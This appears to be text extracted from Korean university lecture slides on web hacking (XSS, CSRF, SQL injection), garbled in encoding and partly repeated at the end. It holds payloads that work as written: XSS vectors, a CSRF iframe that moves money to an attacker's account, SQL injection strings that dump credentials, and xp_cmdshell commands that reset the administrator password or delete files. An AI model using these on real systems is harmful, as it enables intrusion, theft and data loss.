1 SQL Injection

2 XSS

3 파읷 업로드

4 파읷 다운로드

5 디렉토리 노출

6 읶증이 없는 관리자 페이지

7 쿠키변조 및 재사용

8 파라미터 변조를 통한 시스템 명령어 사용

9 자바스크립트 우회

10 HTTP 메소드

11 불필요한 파읷 노출

12 에러 노출

13 검색엔진

Page 14

Web Application Hacking

주요 Web Application 공격 기법

구분 점검 항목 설 명

1 SQL Injection 로그인 폼 및 변수 값에 SQL 쿼리를 삽입하여 로그인 우회 및 DB를 변조 하는 공격

2 XSS 게시판 및 URL파라미터에 스크립트를 삽입하여 해당 글 혹은 링크를 클릭하는 사용자의 정보를 취득하는 공격

3 파일 업로드 ASP PHP JSP와 같이 파일을 업로드 하여 시스템 권한을 획득하는 공격

4 파일 다운로드 파일 다운로드 처리 파라미터를 조작하여 시스템 파일에 접근하는 공격

5 디렉터리 인덱싱 특정 디렉터리를 요청할 때 파일 목록이 보여지는 공격

6 관리자 페이지 노출 masterjsp adminphp 등의 관리자 페이지 노출 및관리자 페이지에 대한 추가 취약점으로 인한 권한 획득 공격

7 쿠키 변조 쿠키 내 권한 관련 값 변조 및 도용하는 공격

8 URL 파라미터 변조 파라미터 변조를 통해 정상적인 젃차(관리자 글 작성 제한 등)를 우회하는 공격

9 사용자 측 스크립트 변조 자바스크립트 및 히듞필드 변조를 통해 인증 권한을 도용하는 행위

10 에러 페이지 노출 시스템 에러를 통해 시스템 정보를 획득하는 공격

11 중요 정보 노출 페이지 및 파일 내에 중요 정보(주민등록번호 등)가 포함되는 경우

12 백업 파일 노출 백업 파일 노출로 인해 시스템 로직을 파악하는 공격 13 기본 설치 페이지 노출 웹 서버 기본 페이지 등의 노출

14 HTTP Method 정보 노출 PUT DELETE 메소드를 악용하여 파일 생성 및 삭제 등의 공격

Page 15

Web Application Hacking

Cookie vs Session

bull Cookie 사용자 정보를 유지하기 위해 웹 브라우저에 의해 사용자의 PC에 저장되는 정보 (파일 혹은 메모리) 서버에서 클라이언트로 젂송되는 것 ltname valuegt 사용자가 인터넷 웹 사이트를 방문할 때 생기는 4KB 이하의 파일 웹 사이트의 방문 기록을 사용자 컴퓨터에 남겨 사용자와 웹 사이트 사이를 연결해주는 정보를 담고 있음

bull Session

Session 은 Cookie와 동일하게 HTTP 서버에서 클라이언트를 알아볼 수 있는 방법 Session은 사용자를 식별 할 수 있는 최소한의 Cookie값을 브라우저에 보냄 브라우저에서 서버에 갂단하게 SessionID 값을 던지고 HTTP 서버는 그 값을 이용해 서버에 값이 저장

Response (Cookie 저장)

Request (Cookie 젂달)

Cookie Session

정의 사용자마다 관리해야 하는 데이터를 각 사용자의 웹 browser가 있는 Client 컴퓨터에 기록하는 것

웹 서버와 특정 사용자의 연결이 끊어 지더라도 그 사용자에 대해서 계속 관리해야 하는 데이터를 웹 서버에 기록해 둔 것

저장 방식

Client 측 메모리 혹은 파일로 저장 Session ID만 Cookie 형태로 Client에 저장 되고 실제 정보는 서버 메모리 DB 형태로 저장 (IIS 웹 서버와 여러 웹 어플리케이션 서버에서 많이 사용)

Page 16

Cross Site Scripting (XSS)

Cross Site Scripting(XSS) 개념

XSS는 타 사용자 정보 추출을 위한 공격 기법임 게시판이나 검색 부분 즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 발생되는 취약점임 (한마디로 말하면) 공격자가 스크립트 코드를 실행할 수 있게 되는 취약점

Cross Site Scriting 종류

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

저장된 크로스 사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

DOM 기반 크로스 사이트 스크립팅 (DOM based Cross Site Scripting)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

크로스 사이트 스크립팅 요청 위조 (Cross Site Scripting Request Forgery)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

Page 17

Cross Site Scripting (XSS)

Cross Site Scripting 이해

길라임은 현빈의 여자친구읶데 요즘 들어 길라임의 행동을 수상히 여긴 현빈은 길라임이 오스카랑 좀 이상한 관계읶 거 같다고 생각이 들어 길라임 몰래 길라임의 메읷을 훔쳐보고 싶어했다(당연히 불법이다) 현빈은 현빈의 젃친한 친구읶 지섭굮에게 XSS 공격을 이용하면 길라임의 메읷을 인을 수 있다는 솔깃한 얘기를 듣고 친구읶 지섭굮에게 XSS 공격 방법을 익히게 된다

드디어 XSS 공격 방법을 습득한 현빈은 길라임에게 메읷을 보낸다 메읷에는 평범한 내용과 함께 악성 스크립트 코드를 숨겨서 보낸다 길라임은 아무런 의심을 하지 않고 현빈한테 온 메읷을 인는다 하지만 그 순갂 숨겨서 보낸 악성 스크립트 코드는 길라임의 쿠키 정보를 현빈에게 넘긴다 현빈은 길라임으로부터 받은 쿠키 값을 가지고 갂단한 조작을 통해서 길라임의 메읷을 인을 수 있었다

Page 18

Cross Site Scripting (XSS)

Cross Site Scripting 공격 기본 원리

1 악성코드 첨부 메일 발송

2 길라임이 메일을 읽음

3 길라임의 쿠키가 젂달

5 길라임의 쿠키 이용 메일을 훔쳐봄

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 9: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 9

Web Application Hacking

Web Application Hacking Tools(Burp Suite HTTP Watch)

JRE httpwwworaclecomtechnetworkjavajavasedownloadsjre-6u26-download-400751html

httpportswiggernetburpdownloadhtml httpwwwhttpwatchcomdownload

Page 10

Web Application Hacking

Web Application Hacking Tools (실습도구)

① ②

③ Webgoat 다운로드 httpswwwowasporgindexphpCategoryOWASP_WebGoat_Project Webgoat 설치 설명서 httpswwwowasporgindexphpWebGoat_Installation

Page 11

Web Application Hacking

Web Application Hacking Tools (실습도구)

TIP 가상머싞에 설치해보고 Web hacking 실습 문제 풀어보기 모르는 부분은 Webgoat 페이지의 Solution 참고하거나 Youtube 구글 참고

Youtube Webgoat 관렦 영상 httpwwwyoutubecomresultssearch_query=webgoatampsuggested_categories=282C262C12C22amppage=1 httpwwwgooglecokrq=webgoatamphl=koampnewwindow=1ampprmd=ivnsulampsource=lnmsamptbm=vidampei=cdrxTc2aJYnovQPfjrWpBAampsa=Xampoi=mode_linkampct=modeampcd=3ampved=0CCYQ_AUoAgampfp=6d0639d9755e7972ampbiw=1090ampbih=712

Page 12

What is an OWASP

주요 Web Application 공격 기법

OWASP Top 10 웹 취약점을 10가지 형태로 분류하고 정의하며 웹 보앆에

관심 있는 기업 및 개읶이 함께 공통된 프로젝트 수행

A1 SQL Injection

A2 Cross Site Scripting (XSS)

A3 취약한 인증과 세션 관리

A4 앆젂하지 않은 직접 객체 참조

A5 크로스 사이트 요청 변조(CSRF)

A6 보앆상 잘못된 구성(싞규)

A7 앆젂하지 않은 암호 저장

A8 URL 접근 제한 실패

A9 불충분한 젂송 계층 보호

A10 검증되지 않은 리다이렉트와 포워드(싞규)

Page 13

Web Application Hacking

주요 Web Application 공격 기법

1 SQL Injection

2 XSS

3 파읷 업로드

4 파읷 다운로드

5 디렉토리 노출

6 읶증이 없는 관리자 페이지

7 쿠키변조 및 재사용

8 파라미터 변조를 통한 시스템 명령어 사용

9 자바스크립트 우회

10 HTTP 메소드

11 불필요한 파읷 노출

12 에러 노출

13 검색엔진

Page 14

Web Application Hacking

주요 Web Application 공격 기법

구분 점검 항목 설 명

1 SQL Injection 로그인 폼 및 변수 값에 SQL 쿼리를 삽입하여 로그인 우회 및 DB를 변조 하는 공격

2 XSS 게시판 및 URL파라미터에 스크립트를 삽입하여 해당 글 혹은 링크를 클릭하는 사용자의 정보를 취득하는 공격

3 파일 업로드 ASP PHP JSP와 같이 파일을 업로드 하여 시스템 권한을 획득하는 공격

4 파일 다운로드 파일 다운로드 처리 파라미터를 조작하여 시스템 파일에 접근하는 공격

5 디렉터리 인덱싱 특정 디렉터리를 요청할 때 파일 목록이 보여지는 공격

6 관리자 페이지 노출 masterjsp adminphp 등의 관리자 페이지 노출 및관리자 페이지에 대한 추가 취약점으로 인한 권한 획득 공격

7 쿠키 변조 쿠키 내 권한 관련 값 변조 및 도용하는 공격

8 URL 파라미터 변조 파라미터 변조를 통해 정상적인 젃차(관리자 글 작성 제한 등)를 우회하는 공격

9 사용자 측 스크립트 변조 자바스크립트 및 히듞필드 변조를 통해 인증 권한을 도용하는 행위

10 에러 페이지 노출 시스템 에러를 통해 시스템 정보를 획득하는 공격

11 중요 정보 노출 페이지 및 파일 내에 중요 정보(주민등록번호 등)가 포함되는 경우

12 백업 파일 노출 백업 파일 노출로 인해 시스템 로직을 파악하는 공격 13 기본 설치 페이지 노출 웹 서버 기본 페이지 등의 노출

14 HTTP Method 정보 노출 PUT DELETE 메소드를 악용하여 파일 생성 및 삭제 등의 공격

Page 15

Web Application Hacking

Cookie vs Session

bull Cookie 사용자 정보를 유지하기 위해 웹 브라우저에 의해 사용자의 PC에 저장되는 정보 (파일 혹은 메모리) 서버에서 클라이언트로 젂송되는 것 ltname valuegt 사용자가 인터넷 웹 사이트를 방문할 때 생기는 4KB 이하의 파일 웹 사이트의 방문 기록을 사용자 컴퓨터에 남겨 사용자와 웹 사이트 사이를 연결해주는 정보를 담고 있음

bull Session

Session 은 Cookie와 동일하게 HTTP 서버에서 클라이언트를 알아볼 수 있는 방법 Session은 사용자를 식별 할 수 있는 최소한의 Cookie값을 브라우저에 보냄 브라우저에서 서버에 갂단하게 SessionID 값을 던지고 HTTP 서버는 그 값을 이용해 서버에 값이 저장

Response (Cookie 저장)

Request (Cookie 젂달)

Cookie Session

정의 사용자마다 관리해야 하는 데이터를 각 사용자의 웹 browser가 있는 Client 컴퓨터에 기록하는 것

웹 서버와 특정 사용자의 연결이 끊어 지더라도 그 사용자에 대해서 계속 관리해야 하는 데이터를 웹 서버에 기록해 둔 것

저장 방식

Client 측 메모리 혹은 파일로 저장 Session ID만 Cookie 형태로 Client에 저장 되고 실제 정보는 서버 메모리 DB 형태로 저장 (IIS 웹 서버와 여러 웹 어플리케이션 서버에서 많이 사용)

Page 16

Cross Site Scripting (XSS)

Cross Site Scripting(XSS) 개념

XSS는 타 사용자 정보 추출을 위한 공격 기법임 게시판이나 검색 부분 즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 발생되는 취약점임 (한마디로 말하면) 공격자가 스크립트 코드를 실행할 수 있게 되는 취약점

Cross Site Scriting 종류

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

저장된 크로스 사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

DOM 기반 크로스 사이트 스크립팅 (DOM based Cross Site Scripting)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

크로스 사이트 스크립팅 요청 위조 (Cross Site Scripting Request Forgery)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

Page 17

Cross Site Scripting (XSS)

Cross Site Scripting 이해

길라임은 현빈의 여자친구읶데 요즘 들어 길라임의 행동을 수상히 여긴 현빈은 길라임이 오스카랑 좀 이상한 관계읶 거 같다고 생각이 들어 길라임 몰래 길라임의 메읷을 훔쳐보고 싶어했다(당연히 불법이다) 현빈은 현빈의 젃친한 친구읶 지섭굮에게 XSS 공격을 이용하면 길라임의 메읷을 인을 수 있다는 솔깃한 얘기를 듣고 친구읶 지섭굮에게 XSS 공격 방법을 익히게 된다

드디어 XSS 공격 방법을 습득한 현빈은 길라임에게 메읷을 보낸다 메읷에는 평범한 내용과 함께 악성 스크립트 코드를 숨겨서 보낸다 길라임은 아무런 의심을 하지 않고 현빈한테 온 메읷을 인는다 하지만 그 순갂 숨겨서 보낸 악성 스크립트 코드는 길라임의 쿠키 정보를 현빈에게 넘긴다 현빈은 길라임으로부터 받은 쿠키 값을 가지고 갂단한 조작을 통해서 길라임의 메읷을 인을 수 있었다

Page 18

Cross Site Scripting (XSS)

Cross Site Scripting 공격 기본 원리

1 악성코드 첨부 메일 발송

2 길라임이 메일을 읽음

3 길라임의 쿠키가 젂달

5 길라임의 쿠키 이용 메일을 훔쳐봄

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

